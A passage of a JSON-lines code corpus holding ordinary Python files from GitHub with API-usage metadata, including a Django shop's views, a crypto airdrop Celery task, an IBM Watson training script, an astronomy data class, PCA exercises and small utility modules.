"django.contrib.messages", "line_number": 48, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 49, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 51, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 51, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 52, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 54, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 60, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 66, "usage_type": "call"}, {"api_name": "django.contrib.messages.warning", "line_number": 68, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 68, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 69, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 77, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 79, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 79, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 80, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 82, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 82, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 83, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 92, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 94, "usage_type": "call"}, {"api_name": "json.load", "line_number": 103, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 109, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 113, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 115, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 118, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 120, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 128, "usage_type": "call"}, {"api_name": "django.views.View", "line_number": 130, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 132, "usage_type": "call"}, {"api_name": "json.load", "line_number": 140, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 145, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 148, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 151, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 153, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 163, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 165, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 173, "usage_type": "call"}, {"api_name": "django.contrib.auth.logout", "line_number": 183, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 184, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 184, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 185, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 190, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 195, "usage_type": "call"}, {"api_name": "django.contrib.auth.authenticate", "line_number": 201, "usage_type": "call"}, {"api_name": "django.contrib.auth.login", "line_number": 203, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 204, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 204, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 205, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 207, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 207, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 208, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 210, "usage_type": "call"}, {"api_name": "django.contrib.auth.logout", "line_number": 215, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 216, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 216, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 217, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 222, "usage_type": "call"}, {"api_name": "Shop.form.BrandForm", "line_number": 227, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 230, "usage_type": "call"}, {"api_name": "Shop.form.BrandForm", "line_number": 232, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 236, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 242, "usage_type": "call"}, {"api_name": "Shop.form.ProductForm", "line_number": 249, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 252, "usage_type": "call"}, {"api_name": "Shop.form.ProductForm", "line_number": 254, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 258, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 263, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 269, "usage_type": "call"}]}
{"seq_id": "14736435307", "text": "import logging\nimport json\nimport traceback\nfrom time import sleep\nfrom decimal import Decimal\n\nfrom django.db import transaction\nfrom django.db.models import Q\nfrom dynamic_preferences.registries import global_preferences_registry\n\nfrom app.models import ServerMember, AirdropTask\nfrom evosbot.celery import app\nfrom evosbot.utils import tx_logger, fd, get_member\n\nglobal_preferences = global_preferences_registry.manager()\n\n\n@app.task(name='app.tasks.airdrop')\ndef airdrop(size):\n    AIRDROP_COUNTS = {\n        'small': global_preferences['small_airdrops__count'],\n        'medium': global_preferences['medium_airdrops__count'],\n        'large': global_preferences['large_airdrops__count'],\n    }\n\n    AIRDROP_AMOUNTS = {\n        'small': {\n            ServerMember.Rank.JUNIOR: global_preferences['small_airdrops__junior'],\n            ServerMember.Rank.EXPERIENCED: global_preferences['small_airdrops__experienced'],\n            ServerMember.Rank.VETERAN: global_preferences['small_airdrops__veteran'],\n            ServerMember.Rank.GURU: global_preferences['small_airdrops__guru'],\n            ServerMember.Rank.SADHU: global_preferences['small_airdrops__sadhu'],\n        },\n        'medium': {\n            ServerMember.Rank.JUNIOR: global_preferences['medium_airdrops__junior'],\n            ServerMember.Rank.EXPERIENCED: global_preferences['medium_airdrops__experienced'],\n            ServerMember.Rank.VETERAN: global_preferences['medium_airdrops__veteran'],\n            ServerMember.Rank.GURU: global_preferences['medium_airdrops__guru'],\n            ServerMember.Rank.SADHU: global_preferences['medium_airdrops__sadhu'],\n        },\n        'large': {\n            ServerMember.Rank.JUNIOR: global_preferences['large_airdrops__junior'],\n            ServerMember.Rank.EXPERIENCED: global_preferences['large_airdrops__experienced'],\n            ServerMember.Rank.VETERAN: global_preferences['large_airdrops__veteran'],\n            ServerMember.Rank.GURU: global_preferences['large_airdrops__guru'],\n            ServerMember.Rank.SADHU: global_preferences['large_airdrops__sadhu'],\n        },\n    }\n\n    HOLD_FACTOR = {\n        'amount': {\n            ServerMember.Rank.JUNIOR: global_preferences['ranks__junior_hold'],\n            ServerMember.Rank.EXPERIENCED: global_preferences['ranks__experienced_hold'],\n            ServerMember.Rank.VETERAN: global_preferences['ranks__veteran_hold'],\n            ServerMember.Rank.GURU: global_preferences['ranks__guru_hold'],\n            ServerMember.Rank.SADHU: global_preferences['ranks__sadhu_hold'],\n        },\n        'factor': {\n            ServerMember.Rank.JUNIOR: Decimal(1),\n            ServerMember.Rank.EXPERIENCED: Decimal(.5),\n            ServerMember.Rank.VETERAN: Decimal(.4),\n            ServerMember.Rank.GURU: Decimal(.6),\n            ServerMember.Rank.SADHU: Decimal(.4),\n        },\n    }\n\n    try:\n        tasks = []\n\n        with open('/tmp/evos_online_with_roles.json') as f:\n            members = json.load(f)  # type: dict\n        # remove muted users\n        for mid, roles in members.copy().items():\n            if global_preferences['ranks__muted_role_id'] in roles:\n                del members[mid]\n        for rank in [ServerMember.Rank.JUNIOR, ServerMember.Rank.EXPERIENCED, ServerMember.Rank.VETERAN,\n                     ServerMember.Rank.GURU, ServerMember.Rank.SADHU]:\n            amount = AIRDROP_AMOUNTS[size][rank]\n            if not amount:\n                continue\n            rank_qs = ServerMember.objects.filter(Q(pk__in=members.keys()) | Q(pk__lt=0), rank=rank).distinct()\\\n                .order_by('?')[:AIRDROP_COUNTS[size]].values_list('pk', flat=True)\n            for pk in rank_qs:\n                holding_factor = Decimal(1.0)\n                if amount > global_preferences['general__feeder_balance']:\n                    continue\n                with transaction.atomic():\n                    sm = ServerMember.objects.select_for_update().get(pk=pk)\n                    if sm.staking_balance + sm.balance + sm.masternode_balance < HOLD_FACTOR['amount'][rank]:\n                        holding_factor = HOLD_FACTOR['factor'][rank]\n                    delta = amount * holding_factor\n                    if pk < 0:\n                        delta *= global_preferences['general__telegram_airdrop_multiplier']\n                    tasks.append(AirdropTask(member=sm, amount=delta))\n        AirdropTask.objects.bulk_create(tasks)\n    except:\n        traceback.print_exc()\n", "repo_name": "pavelshmk/evosbot", "sub_path": "app/tasks/airdrop.py", "file_name": "airdrop.py", "file_ext": "py", "file_size_in_byte": 4463, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "dynamic_preferences.registries.global_preferences_registry.manager", "line_number": 15, "usage_type": "call"}, {"api_name": "dynamic_preferences.registries.global_preferences_registry", "line_number": 15, "usage_type": "name"}, {"api_name": "app.models.ServerMember.Rank", "line_number": 28, "usage_type": "attribute"}, {"api_name": "app.models.ServerMember", "line_number": 28, "usage_type": "name"}, {"api_name": "app.models.ServerMember.Rank", "line_number": 29, "usage_type": "attribute"}, {"api_name": "app.models.ServerMember", "line_number": 29, "usage_type": "name"}, {"api_name": "app.models.ServerMember.Rank", "line_number": 30, "usage_type": "attribute"}, {"api_name": "app.models.ServerMember", "line_number": 30, "usage_type": "name"}, {"api_name": "app.models.ServerMember.Rank", "line_number": 31, "usage_type": "attribute"}, {"api_name": "app.models.ServerMember", "line_number": 31, "usage_type": "name"}, {"api_name": "app.models.ServerMember.Rank", "line_number": 32, "usage_type": "attribute"}, {"api_name": "app.models.ServerMember", "line_number": 32, "usage_type": "name"}, {"api_name": "app.models.ServerMember.Rank", "line_number": 35, "usage_type": "attribute"}, {"api_name": "app.models.ServerMember", "line_number": 35, "usage_type": "name"}, {"api_name": "app.models.ServerMember.Rank", "line_number": 36, "usage_type": "attribute"}, {"api_name": "app.models.ServerMember", "line_number": 36, "usage_type": "name"}, {"api_name": "app.models.ServerMember.Rank", "line_number": 37, "usage_type": "attribute"}, {"api_name": "app.models.ServerMember", "line_number": 37, "usage_type": "name"}, {"api_name": "app.models.ServerMember.Rank", "line_number": 38, "usage_type": "attribute"}, {"api_name": "app.models.ServerMember", "line_number": 38, "usage_type": "name"}, {"api_name": "app.models.ServerMember.Rank", "line_number": 39, "usage_type": "attribute"}, {"api_name": "app.models.ServerMember", "line_number": 39, "usage_type": "name"}, {"api_name": "app.models.ServerMember.Rank", "line_number": 42, "usage_type": "attribute"}, {"api_name": "app.models.ServerMember", "line_number": 42, "usage_type": "name"}, {"api_name": "app.models.ServerMember.Rank", "line_number": 43, "usage_type": "attribute"}, {"api_name": "app.models.ServerMember", "line_number": 43, "usage_type": "name"}, {"api_name": "app.models.ServerMember.Rank", "line_number": 44, "usage_type": "attribute"}, {"api_name": "app.models.ServerMember", "line_number": 44, "usage_type": "name"}, {"api_name": "app.models.ServerMember.Rank", "line_number": 45, "usage_type": "attribute"}, {"api_name": "app.models.ServerMember", "line_number": 45, "usage_type": "name"}, {"api_name": "app.models.ServerMember.Rank", "line_number": 46, "usage_type": "attribute"}, {"api_name": "app.models.ServerMember", "line_number": 46, "usage_type": "name"}, {"api_name": "app.models.ServerMember.Rank", "line_number": 52, "usage_type": "attribute"}, {"api_name": "app.models.ServerMember", "line_number": 52, "usage_type": "name"}, {"api_name": "app.models.ServerMember.Rank", "line_number": 53, "usage_type": "attribute"}, {"api_name": "app.models.ServerMember", "line_number": 53, "usage_type": "name"}, {"api_name": "app.models.ServerMember.Rank", "line_number": 54, "usage_type": "attribute"}, {"api_name": "app.models.ServerMember", "line_number": 54, "usage_type": "name"}, {"api_name": "app.models.ServerMember.Rank", "line_number": 55, "usage_type": "attribute"}, {"api_name": "app.models.ServerMember", "line_number": 55, "usage_type": "name"}, {"api_name": "app.models.ServerMember.Rank", "line_number": 56, "usage_type": "attribute"}, {"api_name": "app.models.ServerMember", "line_number": 56, "usage_type": "name"}, {"api_name": "app.models.ServerMember.Rank", "line_number": 59, "usage_type": "attribute"}, {"api_name": "app.models.ServerMember", "line_number": 59, "usage_type": "name"}, {"api_name": "app.models.ServerMember.Rank", "line_number": 60, "usage_type": "attribute"}, {"api_name": "app.models.ServerMember", "line_number": 60, "usage_type": "name"}, {"api_name": "app.models.ServerMember.Rank", "line_number": 61, "usage_type": "attribute"}, {"api_name": "app.models.ServerMember", "line_number": 61, "usage_type": "name"}, {"api_name": "app.models.ServerMember.Rank", "line_number": 62, "usage_type": "attribute"}, {"api_name": "app.models.ServerMember", "line_number": 62, "usage_type": "name"}, {"api_name": "app.models.ServerMember.Rank", "line_number": 63, "usage_type": "attribute"}, {"api_name": "app.models.ServerMember", "line_number": 63, "usage_type": "name"}, {"api_name": "decimal.Decimal", "line_number": 59, "usage_type": "call"}, {"api_name": "decimal.Decimal", "line_number": 60, "usage_type": "call"}, {"api_name": "decimal.Decimal", "line_number": 61, "usage_type": "call"}, {"api_name": "decimal.Decimal", "line_number": 62, "usage_type": "call"}, {"api_name": "decimal.Decimal", "line_number": 63, "usage_type": "call"}, {"api_name": "json.load", "line_number": 71, "usage_type": "call"}, {"api_name": "app.models.ServerMember.Rank", "line_number": 76, "usage_type": "attribute"}, {"api_name": "app.models.ServerMember", "line_number": 76, "usage_type": "name"}, {"api_name": "app.models.ServerMember.Rank", "line_number": 77, "usage_type": "attribute"}, {"api_name": "app.models.ServerMember", "line_number": 77, "usage_type": "name"}, {"api_name": "app.models.ServerMember.objects.filter", "line_number": 81, "usage_type": "call"}, {"api_name": "app.models.ServerMember.objects", "line_number": 81, "usage_type": "attribute"}, {"api_name": "app.models.ServerMember", "line_number": 81, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 81, "usage_type": "call"}, {"api_name": "decimal.Decimal", "line_number": 84, "usage_type": "call"}, {"api_name": "django.db.transaction.atomic", "line_number": 87, "usage_type": "call"}, {"api_name": "django.db.transaction", "line_number": 87, "usage_type": "name"}, {"api_name": "app.models.ServerMember.objects.select_for_update", "line_number": 88, "usage_type": "call"}, {"api_name": "app.models.ServerMember.objects", "line_number": 88, "usage_type": "attribute"}, {"api_name": "app.models.ServerMember", "line_number": 88, "usage_type": "name"}, {"api_name": "app.models.AirdropTask", "line_number": 94, "usage_type": "call"}, {"api_name": "app.models.AirdropTask.objects.bulk_create", "line_number": 95, "usage_type": "call"}, {"api_name": "app.models.AirdropTask.objects", "line_number": 95, "usage_type": "attribute"}, {"api_name": "app.models.AirdropTask", "line_number": 95, "usage_type": "name"}, {"api_name": "traceback.print_exc", "line_number": 97, "usage_type": "call"}, {"api_name": "evosbot.celery.app.task", "line_number": 18, "usage_type": "call"}, {"api_name": "evosbot.celery.app", "line_number": 18, "usage_type": "name"}]}
{"seq_id": "8260443143", "text": "import json\nimport csv\nfrom ibm_watson import AssistantV1\nfrom ibm_cloud_sdk_core.authenticators import IAMAuthenticator\n\nfold = 1\n\n#----------------------------------------------------------------------\ndataset = {}\n\n# with open(f'datasetsCV/noEntityFold{fold}Train.csv') as csv_file:\nwith open('datasetsCV/EntityTrain.csv') as csv_file:\n    csv_reader = csv.reader(csv_file, delimiter=',')\n    for row in csv_reader:\n        try:\n            dataset[row[0]].append(row[1])\n        except:\n            dataset[row[0]] = []\n            dataset[row[0]].append(row[1])\n\n\n# load file with the secret keys\nwith open('scripts/keys.json') as f:\n    keys = json.load(f)\n\napi_key = keys['IBM_Watson_API_key']\nworkspace_id = keys['IBM_Watson_workspace_id']\n\nauthenticator = IAMAuthenticator(api_key)\nassistant = AssistantV1(\n    version='2020-02-05',\n    authenticator=authenticator\n)\n\nassistant.set_service_url('https://api.eu-gb.assistant.watson.cloud.ibm.com')\n\nexampleArr = []\n\nfor intent in dataset:\n        for example in dataset[intent]:\n            exampleArr.append({'text':example})\n        \n        # Create intent and add training data\n        response = assistant.create_intent(\n            workspace_id=workspace_id,\n            intent=intent,\n            examples=exampleArr\n        ).get_result()\n\n        print(json.dumps(response, indent=2))\n\n        exampleArr = []\n\n\n\n\n", "repo_name": "JarneDeschacht/Bachelorproef", "sub_path": "scripts/trainIBMWatson.py", "file_name": "trainIBMWatson.py", "file_ext": "py", "file_size_in_byte": 1380, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "csv.reader", "line_number": 13, "usage_type": "call"}, {"api_name": "json.load", "line_number": 24, "usage_type": "call"}, {"api_name": "ibm_cloud_sdk_core.authenticators.IAMAuthenticator", "line_number": 29, "usage_type": "call"}, {"api_name": "ibm_watson.AssistantV1", "line_number": 30, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 50, "usage_type": "call"}]}
{"seq_id": "18681314928", "text": "from .astronomy_event_code import AstronomyEventCode\nfrom libtad.datatypes.time import TADDateTimeOffset\nimport xml.etree.ElementTree as ET\n\nclass AstronomyDayEvent:\n    \"\"\"\n    A class used to store events happening at a given day.\n\n    ...\n\n    Attributes\n    ----------\n    type : AstronomyEventCode\n        Indicates the type of the event.\n    isotime : TADDateTimeOffset\n        Local time at which the event is happening (including UTC offset).\n        The time does not include the seconds.\n    utctime : TADDateTimeOffset\n        UTC time at which the event is happening. The time does not include\n        the seconds.\n    altitude : float\n        Altitude of the center of the queried astronomical object above an\n        ideal horizon.\n\n        Only for meridian type events.\n    azimuth : float\n        Horizontal direction of the astronomical object at set/rise time\n        (referring to true north). North is 0 degrees, east is 90 degrees,\n        south is 180 degrees and west is 270 degrees.\n\n        Only for rise and set type events.\n    distance : float\n        Distance of the earth's center to the center of the queried\n        astronomical object in kilometers.\n\n        Only for meridian type events.\n    illuminated : float\n        The fraction of the Moon's surface illuminated by the Sun's\n        rays as seen from the selected location.\n\n        Only for the moon for meridian type events.\n    posangle : float\n        The counterclockwise angle of the midpoint of the Moon's bright limb as seen from the selected location.\n\n        Only for the moon for meridian type events.\n\n    \"\"\"\n\n    def __init__(self, node: ET.Element):\n        self.type: AstronomyEventCode = None\n        self.isotime: TADDateTimeOffset = None\n        self.utctime: TADDateTimeOffset = None\n        self.altitude: float = None\n        self.azimuth: float = None\n        self.distance: float = None\n        self.illuminated: float = None\n        self.posangle: float = None\n        \n        astro_type = node.get(\"type\")\n        isotime = node.get(\"isotime\")\n        utctime = node.get(\"utctime\")\n        altitude = node.get(\"altitude\")\n        azimuth = node.get(\"azimuth\")\n        distance = node.get(\"distance\")\n        illuminated = node.get(\"illuminated\")\n        posangle = node.get(\"posangle\")\n\n        if astro_type:\n            self.type = AstronomyEventCode.resolve(astro_type)\n\n        if isotime:\n            self.isotime = TADDateTimeOffset._parse(isotime)\n\n        if utctime:\n            self.utctime = TADDateTimeOffset._parse(utctime)\n        \n        if altitude:\n            self.altitude = float(altitude)\n\n        if azimuth:\n            self.azimuth = float(azimuth)\n\n        if distance:\n            self.distance = float(distance)\n\n        if illuminated:\n            self.illuminated = float(illuminated)\n\n        if posangle:\n            self.posangle = float(posangle)\n\n", "repo_name": "timeanddate/libtad-python", "sub_path": "libtad/datatypes/astro/astronomy_day_event.py", "file_name": "astronomy_day_event.py", "file_ext": "py", "file_size_in_byte": 2901, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "71", "api": [{"api_name": "xml.etree.ElementTree.Element", "line_number": 49, "usage_type": "attribute"}, {"api_name": "xml.etree.ElementTree", "line_number": 49, "usage_type": "name"}, {"api_name": "astronomy_event_code.AstronomyEventCode", "line_number": 50, "usage_type": "name"}, {"api_name": "libtad.datatypes.time.TADDateTimeOffset", "line_number": 51, "usage_type": "name"}, {"api_name": "libtad.datatypes.time.TADDateTimeOffset", "line_number": 52, "usage_type": "name"}, {"api_name": "astronomy_event_code.AstronomyEventCode.resolve", "line_number": 69, "usage_type": "call"}, {"api_name": "astronomy_event_code.AstronomyEventCode", "line_number": 69, "usage_type": "name"}, {"api_name": "libtad.datatypes.time.TADDateTimeOffset._parse", "line_number": 72, "usage_type": "call"}, {"api_name": "libtad.datatypes.time.TADDateTimeOffset", "line_number": 72, "usage_type": "name"}, {"api_name": "libtad.datatypes.time.TADDateTimeOffset._parse", "line_number": 75, "usage_type": "call"}, {"api_name": "libtad.datatypes.time.TADDateTimeOffset", "line_number": 75, "usage_type": "name"}]}
{"seq_id": "72940133670", "text": "# The first principal component\n# The first principal component of the data is the direction in which the data varies the most. In this exercise, your job is to use PCA to find the first principal component of the length and width measurements of the grain samples, and represent it as an arrow on the scatter plot.\n# The array grains gives the length and width of the grain samples. PyPlot (plt) and PCA have already been imported for you.\n# Make a scatter plot of the untransformed points\nplt.scatter(grains[:,0], grains[:,1])\n\n# Create a PCA instance: model\nmodel = PCA()\n\n# Fit model to points\nmodel.fit(grains)\n\n# Get the mean of the grain samples: mean\nmean = model.mean_\n\n# Get the first principal component: first_pc\nfirst_pc = model.components_[0,:]\n\n# Plot first_pc as an arrow, starting at mean\nplt.arrow(mean[0], mean[1], first_pc[0], first_pc[1], color='red', width=0.01)\n\n# Keep axes on same scale\nplt.axis('equal')\nplt.show()\n# This is the direction in which the grain data varies the most.\n\n# Variance of the PCA features\n# The fish dataset is 6-dimensional. But what is its intrinsic dimension? Make a plot of the variances of the PCA features to find out. As before, samples is a 2D array, where each row represents a fish. You'll need to standardize the features first.\n# Perform the necessary imports\nfrom sklearn.decomposition import PCA\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.pipeline import make_pipeline\nimport matplotlib.pyplot as plt\n\n# Create scaler: scaler\nscaler = StandardScaler()\n\n# Create a PCA instance: pca\npca = PCA()\n\n# Create pipeline: pipeline\npipeline = make_pipeline(scaler,pca)\n\n# Fit the pipeline to 'samples'\npipeline.fit(samples)\n\n# Plot the explained variances\nfeatures = range(pca.n_components_)\nplt.bar(features, pca.explained_variance_)\nplt.xlabel('PCA feature')\nplt.ylabel('variance')\nplt.xticks(features)\nplt.show()", "repo_name": "CodeInDna/Data_Scientist_With_Python", "sub_path": "15_Unsupervised Learning in Python/08_Intrinsic_Dimension.py", "file_name": "08_Intrinsic_Dimension.py", "file_ext": "py", "file_size_in_byte": 1888, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sklearn.preprocessing.StandardScaler", "line_number": 36, "usage_type": "call"}, {"api_name": "sklearn.decomposition.PCA", "line_number": 39, "usage_type": "call"}, {"api_name": "sklearn.pipeline.make_pipeline", "line_number": 42, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 50, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 50, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 51, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 52, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 53, "usage_type": "name"}]}
{"seq_id": "8522266131", "text": "from setuptools import setup\nfrom MAVdataflash.__version__ import __version__ as version\n\nwith open('requirements.txt') as req:\n    install_requires = req.read()\n\nsetup(name='MAVdataflash',\n    version=version,\n    url='https://github.com/generalaeronautics/MAVdataflash',\n    description='Read, analyze and visualize *.bin flight data logs recorded by ArduPilot',\n    long_description=''.join(open('README.md', encoding='utf-8').readlines()),\n    long_description_content_type='text/markdown',\n    author='General Aeronautics',\n    packages=['MAVdataflash'],\n    include_package_data=True,\n    install_requires=install_requires,\n    python_requires='>=3.6',\n    )", "repo_name": "generalaeronautics/MAVdataflash", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 664, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "setuptools.setup", "line_number": 7, "usage_type": "call"}, {"api_name": "MAVdataflash.__version__.__version__", "line_number": 8, "usage_type": "name"}]}
{"seq_id": "1271032282", "text": "import pandas as pd\nimport numpy as np\nfrom sklearn.cross_decomposition import PLSRegression as pls\nimport w2vMods.mBERT as mb\n\nclass regressor(mb.axComp):\n\n    def __init__(self, decomp_size):\n        super(regressor, self).__init__()\n        self.decomp_size = decomp_size\n        self.target_vocab = {}\n        self.vocabulary = {}\n\n    def construct(self, X, Y):\n        \"\"\"\n\n        :param X: a lexical item input as str. Typically an adjective.\n        :param Y: a phrasal input as str. Typically an NP <- ADJ + NN\n        :return: plsr weights\n        \"\"\"\n\n        lex = self.lexeme(X)\n        self.target_vocab[Y] = self.target(Y)\n\n        plsr = pls(n_components=self.decomp_size)\n        plsr.fit(lex, self.target_vocab[Y])\n\n        return plsr", "repo_name": "zaqari/w2v-metaphor", "sub_path": "BaroniZamperelli.py", "file_name": "BaroniZamperelli.py", "file_ext": "py", "file_size_in_byte": 754, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "w2vMods.mBERT.axComp", "line_number": 6, "usage_type": "attribute"}, {"api_name": "w2vMods.mBERT", "line_number": 6, "usage_type": "name"}, {"api_name": "sklearn.cross_decomposition.PLSRegression", "line_number": 25, "usage_type": "call"}]}
{"seq_id": "30884456889", "text": "import abc\nimport typing\nimport pydantic\n\n\n\nS = typing.TypeVar('S')\nT = typing.TypeVar('T')\n\n\n@pydantic.dataclasses.dataclass(frozen = True, kw_only = True, config = {'arbitrary_types_allowed': True})\nclass Error(RuntimeError, typing.Generic[S]):\n\tinput     : S\n\texception : Exception\n\n\n@pydantic.dataclasses.dataclass(frozen = True, kw_only = True)\nclass Processor(typing.Generic[S, T], metaclass = abc.ABCMeta):\n\n\tError = Error\n\n\t@pydantic.validate_arguments(config={'arbitrary_types_allowed': True})\n\t@typing.final\n\tdef error(self, i: S, exception: Exception) -> Error[S]:\n\t\treturn Error(\n\t\t\tinput     = i,\n\t\t\texception = exception\n\t\t)\n\n\t@abc.abstractmethod\n\tdef __call__(self, input: typing.Callable[[], typing.Iterable[S]], config: typing.Any) -> typing.Iterable[T]:\n\t\tpass", "repo_name": "MentalBlood/conveyor", "sub_path": "conveyor/core/Worker/Processor.py", "file_name": "Processor.py", "file_ext": "py", "file_size_in_byte": 778, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "typing.TypeVar", "line_number": 7, "usage_type": "call"}, {"api_name": "typing.TypeVar", "line_number": 8, "usage_type": "call"}, {"api_name": "typing.Generic", "line_number": 12, "usage_type": "attribute"}, {"api_name": "pydantic.dataclasses.dataclass", "line_number": 11, "usage_type": "call"}, {"api_name": "pydantic.dataclasses", "line_number": 11, "usage_type": "attribute"}, {"api_name": "typing.Generic", "line_number": 18, "usage_type": "attribute"}, {"api_name": "abc.ABCMeta", "line_number": 18, "usage_type": "attribute"}, {"api_name": "pydantic.validate_arguments", "line_number": 22, "usage_type": "call"}, {"api_name": "typing.final", "line_number": 23, "usage_type": "attribute"}, {"api_name": "typing.Callable", "line_number": 31, "usage_type": "attribute"}, {"api_name": "typing.Iterable", "line_number": 31, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 31, "usage_type": "attribute"}, {"api_name": "abc.abstractmethod", "line_number": 30, "usage_type": "attribute"}, {"api_name": "pydantic.dataclasses.dataclass", "line_number": 17, "usage_type": "call"}, {"api_name": "pydantic.dataclasses", "line_number": 17, "usage_type": "attribute"}]}
{"seq_id": "33027571732", "text": "import random\nfrom dataset_utility import MRFDatasetUtility as mrfdu\nfrom demographic_utils import DemographicUtils\nfrom utils import loadObjectsFromJsonFile\n\n\ndef analyseMRFWorkerStats():\n    # workers = mrfdu.loadAndCleanMRFDataset('../data/mturk_data/', '../data/mrf_turk_processed.json')\n    workers = loadObjectsFromJsonFile('../data/mrf_turk_processed.json')\n    workers = sorted(workers, key=lambda x: len(x['annotatedFrames']), reverse=True)\n    freqWorkersWDemographics = set()\n    workerDemographicStats = {\n        'age': 0,\n        'education': 0,\n        'gender': 0,\n        'race': 0,\n        'mediaConsumptionRegimen': 0\n    }\n    frequentWorkerDemographicStats = {\n        'age': 0,\n        'education': 0,\n        'gender': 0,\n        'race': 0,\n        'mediaConsumptionRegimen': 0\n    }\n    for worker in workers:\n        # print(\n        #     f'ID: {worker[\"id\"]}, Age: {worker[\"age\"]}, Education: {worker[\"education\"]}, Gender: {worker[\"gender\"]}, '\n        #     f'Race: {worker[\"race\"]}, #Annotations: {len(worker[\"annotatedFrames\"])}'\n        # )\n        # print('------------------')\n\n        if worker['age'] != 'unknown':\n\n            workerDemographicStats['age'] += 1\n            if len(worker['annotatedFrames']) >= 100:\n                freqWorkersWDemographics.add(worker['id'])\n                frequentWorkerDemographicStats['age'] += 1\n\n        if worker['education'] != 'unknown':\n\n            workerDemographicStats['education'] += 1\n            if len(worker['annotatedFrames']) >= 100:\n                freqWorkersWDemographics.add(worker['id'])\n                frequentWorkerDemographicStats['education'] += 1\n\n        if worker['race'] is not None and len(worker['race']) > 0:\n\n            workerDemographicStats['race'] += 1\n            if 